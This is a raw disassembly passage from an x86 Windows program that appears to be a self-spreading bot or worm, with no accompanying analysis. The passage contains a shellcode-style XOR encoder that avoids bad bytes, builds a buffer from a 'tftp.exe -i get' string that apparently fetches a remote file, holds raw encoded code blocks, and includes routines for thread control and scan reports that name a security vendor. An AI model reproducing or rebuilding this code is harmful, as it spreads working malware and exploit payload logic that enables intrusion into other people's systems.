[ebp+arg_0] push 0FFFFFFEDh lea eax, [edi+esi+12h] mov dword_43172C, eax lea eax, [edi+1] mov dword_43174D, eax lea eax, [edi+17h] mov dword_431745, eax pop eax push 74h sub eax, edi push offset dword_4316C8 push ebx mov dword_43175B, eax call sub_41CAB0 push esi lea eax, [ebx+74h] push [ebp+arg_8] push eax call sub_41CAB0 add esi, 74h push 5 push (offset aTftp_exeIGet+0Ch) lea eax, [esi+ebx] push eax call sub_41CAB0 add esi, 5 push edi push [ebp+arg_C] lea eax, [esi+ebx] push eax call sub_41CAB0 add esi, edi push 10h push (offset aTftp_exeIGet+11h) lea eax, [esi+ebx] push eax call sub_41CAB0 add esp, 44h add esi, 10h push edi lea eax, [esi+ebx] push [ebp+arg_C] push eax call sub_41CAB0 add esi, edi push 38h add esi, ebx push offset byte_431751 push esi call sub_41CAB0 mov eax, [ebp+var_4] add esp, 18h pop edi pop esi pop ebx leave retn sub_40B12F endp ; =============== S U B R O U T I N E ======================================= sub_40B207 proc near ; CODE XREF: sub_40B21E+Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40B10F push eax call sub_40B28B add esp, 0Ch retn sub_40B207 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B21E proc near ; CODE XREF: sub_40DCEA+32p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_8] push edi mov edi, [ebp+arg_C] push edi push ebx call sub_40B207 cmp eax, [ebp+arg_4] pop ecx pop ecx ja short loc_40B23E cmp eax, 0FFFFh jbe short loc_40B242 loc_40B23E: ; CODE XREF: sub_40B21E+17j xor eax, eax jmp short loc_40B287 ; --------------------------------------------------------------------------- loc_40B242: ; CODE XREF: sub_40B21E+1Ej push esi push edi push ebx call sub_40B10F add eax, 101h push eax call sub_41BC9B add esp, 0Ch mov esi, eax push edi push ebx push edi push ebx call sub_40B10F pop ecx pop ecx push eax push esi call sub_40B12F push eax push esi push [ebp+arg_4] push [ebp+arg_0] call sub_40B2A6 push esi mov edi, eax call sub_41BA31 add esp, 24h mov eax, edi pop esi loc_40B287: ; CODE XREF: sub_40B21E+22j pop edi pop ebx pop ebp retn sub_40B21E endp ; =============== S U B R O U T I N E ======================================= sub_40B28B proc near ; CODE XREF: sub_40B207+Ep ; sub_40B2A6+4Ap arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_40B294 inc ecx loc_40B294: ; CODE XREF: sub_40B28B+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_40B28B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B2A6 proc near ; CODE XREF: sub_40B21E+56p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx cmp byte ptr [ebp+arg_C], 0Ah jz short loc_40B2C2 cmp byte ptr [ebp+arg_C], 0Dh jz short loc_40B2C2 cmp byte ptr [ebp+arg_C], 5Ch jz short loc_40B2C2 cmp byte ptr [ebp+arg_C], 0 jnz short loc_40B2C5 loc_40B2C2: ; CODE XREF: sub_40B2A6+8j ; sub_40B2A6+Ej ... inc [ebp+arg_C] loc_40B2C5: ; CODE XREF: sub_40B2A6+1Aj push esi mov esi, 0FFh cmp [ebp+arg_C], esi jbe short loc_40B2ED mov eax, [ebp+arg_C] shr eax, 8 cmp al, 0Ah jz short loc_40B2E6 cmp al, 0Dh jz short loc_40B2E6 cmp al, 5Ch jz short loc_40B2E6 test al, al jnz short loc_40B2ED loc_40B2E6: ; CODE XREF: sub_40B2A6+32j ; sub_40B2A6+36j ... add [ebp+arg_C], 100h loc_40B2ED: ; CODE XREF: sub_40B2A6+28j ; sub_40B2A6+3Ej push [ebp+arg_C] call sub_40B28B cmp eax, [ebp+arg_4] pop ecx mov [ebp+var_4], eax ja short loc_40B305 cmp eax, 0FFFFh jbe short loc_40B30C loc_40B305: ; CODE XREF: sub_40B2A6+56j xor eax, eax jmp loc_40B3AA ; --------------------------------------------------------------------------- loc_40B30C: ; CODE XREF: sub_40B2A6+5Dj mov ecx, [ebp+arg_C] push ebx mov bl, byte_4C9448 xor edx, edx push edi mov edi, [ebp+arg_8] test ecx, ecx jbe short loc_40B33C loc_40B320: ; CODE XREF: sub_40B2A6+94j mov al, [edx+edi] xor al, bl jz short loc_40B333 cmp al, 0Ah jz short loc_40B333 cmp al, 0Dh jz short loc_40B333 cmp al, 5Ch jnz short loc_40B337 loc_40B333: ; CODE XREF: sub_40B2A6+7Fj ; sub_40B2A6+83j ... inc bl xor edx, edx loc_40B337: ; CODE XREF: sub_40B2A6+8Bj inc edx cmp edx, ecx jb short loc_40B320 loc_40B33C: ; CODE XREF: sub_40B2A6+78j cmp ecx, esi mov byte_4C9448, bl ja short loc_40B368 push 15h push offset loc_4316B0 push [ebp+arg_0] mov byte_4316BD, cl mov byte_4316C1, bl call sub_41CAB0 add esp, 0Ch push 15h jmp short loc_40B389 ; --------------------------------------------------------------------------- loc_40B368: ; CODE XREF: sub_40B2A6+9Ej push 17h push offset loc_431698 push [ebp+arg_0] mov word_4316A6, cx mov byte_4316AB, bl call sub_41CAB0 add esp, 0Ch push 17h loc_40B389: ; CODE XREF: sub_40B2A6+C0j xor eax, eax pop ecx cmp [ebp+arg_C], eax jbe short loc_40B3A5 mov edx, [ebp+arg_0] lea esi, [ecx+edx] loc_40B397: ; CODE XREF: sub_40B2A6+FDj mov cl, [eax+edi] xor cl, bl mov [esi+eax], cl inc eax cmp eax, [ebp+arg_C] jb short loc_40B397 loc_40B3A5: ; CODE XREF: sub_40B2A6+E9j mov eax, [ebp+var_4] pop edi pop ebx loc_40B3AA: ; CODE XREF: sub_40B2A6+61j pop esi leave retn sub_40B2A6 endp ; =============== S U B R O U T I N E ======================================= sub_40B3AD proc near ; CODE XREF: ___:00401596p ; ___:004015D2p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_43C040 loc_40B3B5: ; CODE XREF: sub_40B3AD+18j cmp byte ptr [eax], 0 jz short loc_40B3C9 add eax, 234h inc edi cmp eax, offset dword_4C9040 jl short loc_40B3B5 jmp short loc_40B414 ; --------------------------------------------------------------------------- loc_40B3C9: ; CODE XREF: sub_40B3AD+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_43C040[esi] push eax call sub_41BD70 mov eax, [esp+14h+arg_4] add esp, 0Ch mov dword_43C240[esi], eax and dword_43C244[esi], 0 mov eax, [esp+8+arg_8] and dword_43C248[esi], 0 mov dword_43C24C[esi], eax and byte_43C258[esi], 0 pop esi loc_40B414: ; CODE XREF: sub_40B3AD+1Aj mov eax, edi pop edi retn sub_40B3AD endp ; --------------------------------------------------------------------------- dword_40B418 dd 81EC8B55h, 98ECh, 8458B00h, 266A5756h, 8DF08B59h, 0FFFF68BDh ; DATA XREF: sub_401AC7+292Co dd 0FFA5F3FFh, 80C7F075h, 94h, 1, 0FF6C858Dh, 75FFFFFFh dd 0B5FF50F4h, 0FFFFFF68h, 15E8h, 0EC75FF00h, 26CE8h, 14C48300h dd 0E890006Ah, 22F4B98h, 8B555E5Fh, 0EC81ECh, 56000002h dd 0FF006A57h, 8C681075h, 0FF004317h, 75FF0C75h, 0E3D8E808h dd 0C483FFFFh, 0BEFF3314h, 43C040h, 74003E80h, 147D833Ch dd 83097500h, 204BEh, 2D750000h, 858D5756h, 0FFFFFE00h dd 42C54868h, 4BE85000h, 6A00010Bh, 858D01h, 0FFFFFFFEh dd 0FF501075h, 75FF0C75h, 0E390E808h, 0C483FFFFh, 34C68124h dd 47000002h, 9040FE81h, 0B07C004Ch, 0C3C95E5Fh ; =============== S U B R O U T I N E ======================================= sub_40B4E8 proc near ; CODE XREF: sub_401AC7+79C4p ; sub_40B576+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_40B570 cmp esi, 400h jge short loc_40B570 imul esi, 234h push edi push ebx push dword_43C254[esi] lea edi, dword_43C254[esi] nop call near ptr 26B0E2Fh cmp [edi], ebx jz short loc_40B520 push 1 pop ebp loc_40B520: ; CODE XREF: sub_40B4E8+33j mov [edi], ebx lea edi, dword_43C248[esi] mov dword_43C240[esi], ebx mov dword_43C244[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_40B541 push eax call sub_419EB7 pop ecx loc_40B541: ; CODE XREF: sub_40B4E8+50j mov [edi], ebx lea edi, dword_43C24C[esi] mov byte ptr dword_43C040[esi], bl mov byte_43C258[esi], bl push dword ptr [edi] call dword_4C939C lea esi, dword_43C250[esi] mov [edi], ebx push dword ptr [esi] call dword_4C939C mov [esi], ebx pop edi loc_40B570: ; CODE XREF: sub_40B4E8+Dj ; sub_40B4E8+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_40B4E8 endp ; =============== S U B R O U T I N E ======================================= sub_40B576 proc near ; CODE XREF: sub_40111D+18p ; ___:loc_4017D3p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_43C040 loc_40B582: ; CODE XREF: sub_40B576+2Aj cmp byte ptr [esi], 0 jz short loc_40B593 push edi call sub_40B4E8 test eax, eax pop ecx jz short loc_40B593 inc ebx loc_40B593: ; CODE XREF: sub_40B576+Fj ; sub_40B576+1Aj add esi, 234h inc edi cmp esi, offset dword_4C9040 jl short loc_40B582 pop edi mov eax, ebx pop esi pop ebx retn sub_40B576 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B5A8 proc near ; CODE XREF: sub_401AC7+41B3p ; sub_401AC7+4300p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_43C244 loc_40B5BC: ; CODE XREF: sub_40B5A8+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_40B5DE test edi, edi jle short loc_40B5D0 cmp [esi], edi jz short loc_40B5D0 cmp ebx, edi jnz short loc_40B5DE loc_40B5D0: ; CODE XREF: sub_40B5A8+1Ej ; sub_40B5A8+22j push ebx call sub_40B4E8 test eax, eax pop ecx jz short loc_40B5DE inc [ebp+var_4] loc_40B5DE: ; CODE XREF: sub_40B5A8+1Aj ; sub_40B5A8+26j ... add esi, 234h inc ebx cmp esi, offset dword_4C9244 jl short loc_40B5BC mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_40B5A8 endp ; =============== S U B R O U T I N E ======================================= sub_40B5F5 proc near ; CODE XREF: ___:0040162Ap ; sub_401AC7+955p ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_43C240 loc_40B5FC: ; CODE XREF: sub_40B5F5+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_40B605 inc eax loc_40B605: ; CODE XREF: sub_40B5F5+Dj add ecx, 234h cmp ecx, offset dword_4C9240 jl short loc_40B5FC retn sub_40B5F5 endp ; =============== S U B R O U T I N E ======================================= sub_40B614 proc near ; CODE XREF: sub_401AC7+23C3p arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_43C240 loc_40B61E: ; CODE XREF: sub_40B614+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_40B637 add ecx, 234h inc edx cmp ecx, offset dword_4C9240 jl short loc_40B61E pop esi retn ; --------------------------------------------------------------------------- loc_40B637: ; CODE XREF: sub_40B614+10j mov eax, edx pop esi retn sub_40B614 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B63B proc near ; CODE XREF: sub_401AC7+1230p ; sub_401AC7+124Ep ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_40B654 push [ebp+arg_1C] call sub_41BEF9 pop ecx loc_40B654: ; CODE XREF: sub_40B63B+Ej push eax push [ebp+arg_18] call sub_40B5A8 pop ecx test eax, eax pop ecx jle short loc_40B680 push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)" push eax call sub_41C006 add esp, 14h jmp short loc_40B69A ; --------------------------------------------------------------------------- loc_40B680: ; CODE XREF: sub_40B63B+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s No %s thread found." push eax call sub_41C006 add esp, 10h loc_40B69A: ; CODE XREF: sub_40B63B+43j cmp [ebp+arg_C], 0 jnz short loc_40B6BA push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 14h loc_40B6BA: ; CODE XREF: sub_40B63B+63j lea eax, [ebp+var_200] push eax call sub_415CEE pop ecx leave retn sub_40B63B endp ; =============== S U B R O U T I N E ======================================= sub_40B6C9 proc near ; CODE XREF: sub_4017E7+159p ; ___:0040BCF6p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_43C254[eax], ecx mov dword_43C240[eax], ecx mov dword_43C244[eax], ecx mov dword_43C248[eax], ecx mov dword_43C24C[eax], ecx mov dword_43C250[eax], ecx mov byte ptr dword_43C040[eax], cl mov byte_43C258[eax], cl retn sub_40B6C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B706 proc near ; CODE XREF: sub_401AC7+7C27p ; sub_40B834+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_40B710: ; CODE XREF: sub_40B706+68j mov cl, [esi] test cl, cl jz short loc_40B770 cmp eax, 1 jnz short loc_40B770 mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_40B770 cmp cl, 2Ah jz short loc_40B757 cmp cl, 3Fh jz short loc_40B73A cmp cl, 5Bh jz short loc_40B73F xor eax, eax cmp cl, dl setz al loc_40B73A: ; CODE XREF: sub_40B706+26j inc [ebp+arg_4] jmp short loc_40B76A ; --------------------------------------------------------------------------- loc_40B73F: ; CODE XREF: sub_40B706+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_40B79C mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_40B76A ; --------------------------------------------------------------------------- loc_40B757: ; CODE XREF: sub_40B706+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_40B834 mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_40B76A: ; CODE XREF: sub_40B706+37j ; sub_40B706+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_40B710 ; --------------------------------------------------------------------------- loc_40B770: ; CODE XREF: sub_40B706+Ej ; sub_40B706+13j ... cmp byte ptr [esi], 2Ah jnz short loc_40B780 cmp eax, 1 jnz short loc_40B797 inc esi mov [ebp+arg_0], esi jmp short loc_40B770 ; --------------------------------------------------------------------------- loc_40B780: ; CODE XREF: sub_40B706+6Dj cmp eax, 1 jnz short loc_40B797 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_40B797 cmp byte ptr [esi], 0 jnz short loc_40B797 push 1 pop eax jmp short loc_40B799 ; --------------------------------------------------------------------------- loc_40B797: ; CODE XREF: sub_40B706+72j ; sub_40B706+7Dj ... xor eax, eax loc_40B799: ; CODE XREF: sub_40B706+8Fj pop esi pop ebp retn sub_40B706 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B79C proc near ; CODE XREF: sub_40B706+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_40B7BD inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_40B7BD: ; CODE XREF: sub_40B79C+19j push ebx push esi loc_40B7BF: ; CODE XREF: sub_40B79C+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_40B7CD cmp [ebp+var_4], eax jnz short loc_40B819 loc_40B7CD: ; CODE XREF: sub_40B79C+2Aj test edi, edi jnz short loc_40B80E cmp bl, 2Dh jnz short loc_40B802 mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_40B802 cmp al, 5Dh jz short loc_40B802 cmp [ebp+var_4], edi jnz short loc_40B802 mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_40B80E cmp bl, al jg short loc_40B80E push 1 mov [edx], esi pop edi jmp short loc_40B80E ; --------------------------------------------------------------------------- loc_40B802: ; CODE XREF: sub_40B79C+38j ; sub_40B79C+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_40B80E push 1 pop edi loc_40B80E: ; CODE XREF: sub_40B79C+33j ; sub_40B79C+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_40B7BF ; --------------------------------------------------------------------------- loc_40B819: ; CODE XREF: sub_40B79C+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_40B826 mov ecx, eax sub ecx, edi mov edi, ecx loc_40B826: ; CODE XREF: sub_40B79C+82j cmp edi, eax jnz short loc_40B82F mov eax, [ebp+arg_4] inc dword ptr [eax] loc_40B82F: ; CODE XREF: sub_40B79C+8Cj mov eax, edi pop edi leave retn sub_40B79C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B834 proc near ; CODE XREF: sub_40B706+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_40B850: ; CODE XREF: sub_40B834+3Aj cmp [eax], bl jz short loc_40B870 mov cl, [ecx] cmp cl, 3Fh jz short loc_40B865 cmp cl, 2Ah jnz short loc_40B870 cmp cl, 3Fh jnz short loc_40B868 loc_40B865: ; CODE XREF: sub_40B834+25j inc eax mov [edi], eax loc_40B868: ; CODE XREF: sub_40B834+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_40B850 ; --------------------------------------------------------------------------- loc_40B870: ; CODE XREF: sub_40B834+1Ej ; sub_40B834+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_40B87B inc dword ptr [esi] jmp short loc_40B870 ; --------------------------------------------------------------------------- loc_40B87B: ; CODE XREF: sub_40B834+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_40B89C mov edx, [esi] cmp [edx], bl jz short loc_40B88D xor eax, eax jmp short loc_40B8FC ; --------------------------------------------------------------------------- loc_40B88D: ; CODE XREF: sub_40B834+53j cmp cl, bl jnz short loc_40B89C mov ecx, [esi] cmp [ecx], bl jnz short loc_40B89C push 1 pop eax jmp short loc_40B8FC ; --------------------------------------------------------------------------- loc_40B89C: ; CODE XREF: sub_40B834+4Dj ; sub_40B834+5Bj ... push eax push dword ptr [esi] call sub_40B706 pop ecx test eax, eax pop ecx jnz short loc_40B8E6 loc_40B8AA: ; CODE XREF: sub_40B834+B0j inc dword ptr [edi] mov eax, [edi] loc_40B8AE: ; CODE XREF: sub_40B834+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_40B8C6 cmp cl, 5Bh jz short loc_40B8C6 cmp dl, bl jz short loc_40B8C6 inc eax mov [edi], eax jmp short loc_40B8AE ; --------------------------------------------------------------------------- loc_40B8C6: ; CODE XREF: sub_40B834+82j ; sub_40B834+87j ... mov eax, [edi] cmp [eax], bl jz short loc_40B8DD push eax push dword ptr [esi] call sub_40B706 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B8E2 ; --------------------------------------------------------------------------- loc_40B8DD: ; CODE XREF: sub_40B834+96j mov [ebp+var_4], ebx xor eax, eax loc_40B8E2: ; CODE XREF: sub_40B834+A7j cmp eax, ebx jnz short loc_40B8AA loc_40B8E6: ; CODE XREF: sub_40B834+74j mov eax, [edi] cmp [eax], bl jnz short loc_40B8F9 mov eax, [esi] cmp [eax], bl jnz short loc_40B8F9 mov [ebp+var_4], 1 loc_40B8F9: ; CODE XREF: sub_40B834+B6j ; sub_40B834+BCj mov eax, [ebp+var_4] loc_40B8FC: ; CODE XREF: sub_40B834+57j ; sub_40B834+66j pop edi pop esi pop ebx leave retn sub_40B834 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B901 proc near ; CODE XREF: sub_401AC7+2AC2p var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_431BEC push eax xor ebx, ebx call sub_41C006 cmp dword_431808, ebx pop ecx pop ecx mov edi, 200h jz short loc_40B973 push esi mov esi, offset dword_431810 loc_40B934: ; CODE XREF: sub_40B901+6Fj mov eax, [esi] test eax, eax jbe short loc_40B969 add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset dword_431BE0 push eax call sub_41C006 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41C950 add esp, 1Ch loc_40B969: ; CODE XREF: sub_40B901+37j add esi, 40h cmp dword ptr [esi-8], 0 jnz short loc_40B934 pop esi loc_40B973: ; CODE XREF: sub_40B901+2Bj push dword_4C9044 call sub_41AD74 push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_41C006 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41C950 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 lea eax, [ebp+var_200] push eax call sub_415CEE add esp, 38h pop edi pop ebx leave retn sub_40B901 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B9CF proc near ; CODE XREF: sub_401AC7+2AACp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h mov eax, dword_4CBE10 mov ecx, dword_4CBE0C push esi push dword_4C9044 lea esi, [ecx+eax] call sub_41AD74 push eax push esi push dword_4CBE10 lea eax, [ebp+var_200] push dword_4CBE0C push offset unk_431C0C push eax call sub_41C006 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 lea eax, [ebp+var_200] push eax call sub_415CEE add esp, 34h pop esi leave retn sub_40B9CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BA3A proc near ; CODE XREF: sub_401AC7+2A96p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push dword_4C9044 call sub_41AD74 push eax lea eax, [ebp+var_200] push dword_4CC058 push offset unk_431C54 push eax call sub_41C006 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 lea eax, [ebp+var_200] push eax call sub_415CEE add esp, 2Ch leave retn sub_40BA3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BA8E proc near ; CODE XREF: sub_401AC7+2A80p var_1000 = byte ptr -1000h var_800 = byte ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 1000h call sub_41C2A0 push edi lea eax, [ebp+var_800] push offset dword_431CA0 push eax call sub_41C006 cmp dword_431808, 0 pop ecx pop ecx mov edi, 800h jz short loc_40BAFA push esi mov esi, offset aSymantec ; "Symantec" loc_40BAC3: ; CODE XREF: sub_40BA8E+69j lea eax, [esi-0Ah] push eax push esi lea eax, [ebp+var_1000] push offset dword_431C90 push eax call sub_41C006 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41C950 add esi, 40h add esp, 1Ch cmp dword ptr [esi+1Eh], 0 jnz short loc_40BAC3 pop esi loc_40BAFA: ; CODE XREF: sub_40BA8E+2Dj push dword_4C9044 call sub_41AD74 push eax lea eax, [ebp+var_1000] push offset aScanTimeS_ ; " Scan Time: %s." push eax call sub_41C006 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41C950 push 0 lea eax, [ebp+var_800] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 lea eax, [ebp+var_800] push eax call sub_415CEE add esp, 34h pop edi leave retn sub_40BA8E endp ; --------------------------------------------------------------------------- dword_40BB54 dd 81EC8B55h, 3F0ECh, 8458B00h, 6A575653h, 59F08B4Bh, 0FECCBD8Dh ; DATA XREF: sub_401AC7+30C9o dd 0A5F3FFFFh, 12880C7h, 10000h, 858D0000h, 0FFFFFECCh dd 4415FF50h, 33004C93h, 0F84589FFh, 18083D39h, 7D890043h dd 87D89FCh, 114840Fh, 8BB0000h, 8B004318h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_40BBA5: ; CODE XREF: ___:0040BCACj push dword ptr [ebp-1Ch] push dword ptr [eax] push dword ptr [ebp-8] call sub_40C336 add esp, 0Ch cmp eax, 1 jnz loc_40BCA2 push dword ptr [ebx] lea esi, [ebx-28h] lea eax, [ebp-134h] push eax lea eax, [esi+0Ah] push eax lea eax, [ebp-3F0h] push offset unk_431CF0 push eax call sub_41C006 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409862 lea eax, [ebp-3F0h] push eax call sub_415CEE lea eax, [ebp-134h] push eax lea eax, [ebp-1ECh] push eax call sub_41C006 lea eax, [ebp-15Ch] push esi push eax call sub_41C006 add esp, 3Ch cmp byte ptr [ebp-0A4h], 0 lea eax, [ebp-0A4h] jnz short loc_40BC3D lea eax, [ebp-124h] loc_40BC3D: ; CODE XREF: ___:0040BC35j push eax lea eax, [ebp-1DCh] push eax call sub_41C006 mov eax, [ebp-24h] pop ecx mov [ebp-1F0h], eax mov eax, [ebp-14h] mov [ebp-140h], eax mov eax, [ebp-10h] pop ecx mov [ebp-13Ch], eax mov eax, [ebx] sub esp, 0BCh mov [ebp-150h], eax mov eax, [ebp-18h] push 2Fh mov [ebp-14Ch], eax mov eax, [ebp+8] pop ecx lea esi, [ebp-1F0h] mov edi, esp mov [ebp-148h], eax rep movsd call dword ptr [ebx+4] add esp, 0BCh inc dword ptr [ebp-4] xor edi, edi loc_40BCA2: ; CODE XREF: ___:0040BBB8j inc dword ptr [ebp+8] add ebx, 40h mov eax, ebx cmp [ebx], edi jnz loc_40BBA5 push dword ptr [ebp-4] lea eax, [ebp-134h] push eax lea eax, [ebp-3F0h] push offset unk_431CBC push eax call sub_41C006 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409862 lea eax, [ebp-3F0h] push eax call sub_415CEE push dword ptr [ebp-18h] call sub_40B6C9 add esp, 2Ch push edi ; --------------------------------------------------------------------------- db 0E8h dd 22F42FCh db 90h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BD05 proc near ; CODE XREF: sub_401AC7+23DEp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 0Bh call sub_40B5F5 test eax, eax pop ecx jle short loc_40BD41 mov eax, [ebp+arg_C] push dword_4C9450[eax*8] call dword_4C9390 push eax lea eax, [ebp+var_200] push offset unk_431D40 push eax call sub_41C006 add esp, 0Ch jmp short loc_40BD54 ; --------------------------------------------------------------------------- loc_40BD41: ; CODE XREF: sub_40BD05+13j lea eax, [ebp+var_200] push offset unk_431D20 push eax call sub_41C006 pop ecx pop ecx loc_40BD54: ; CODE XREF: sub_40BD05+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 lea eax, [ebp+var_200] push eax call sub_415CEE add esp, 18h leave retn sub_40BD05 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BD7C proc near ; CODE XREF: sub_40C3D3+263p var_210 = dword ptr -210h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx 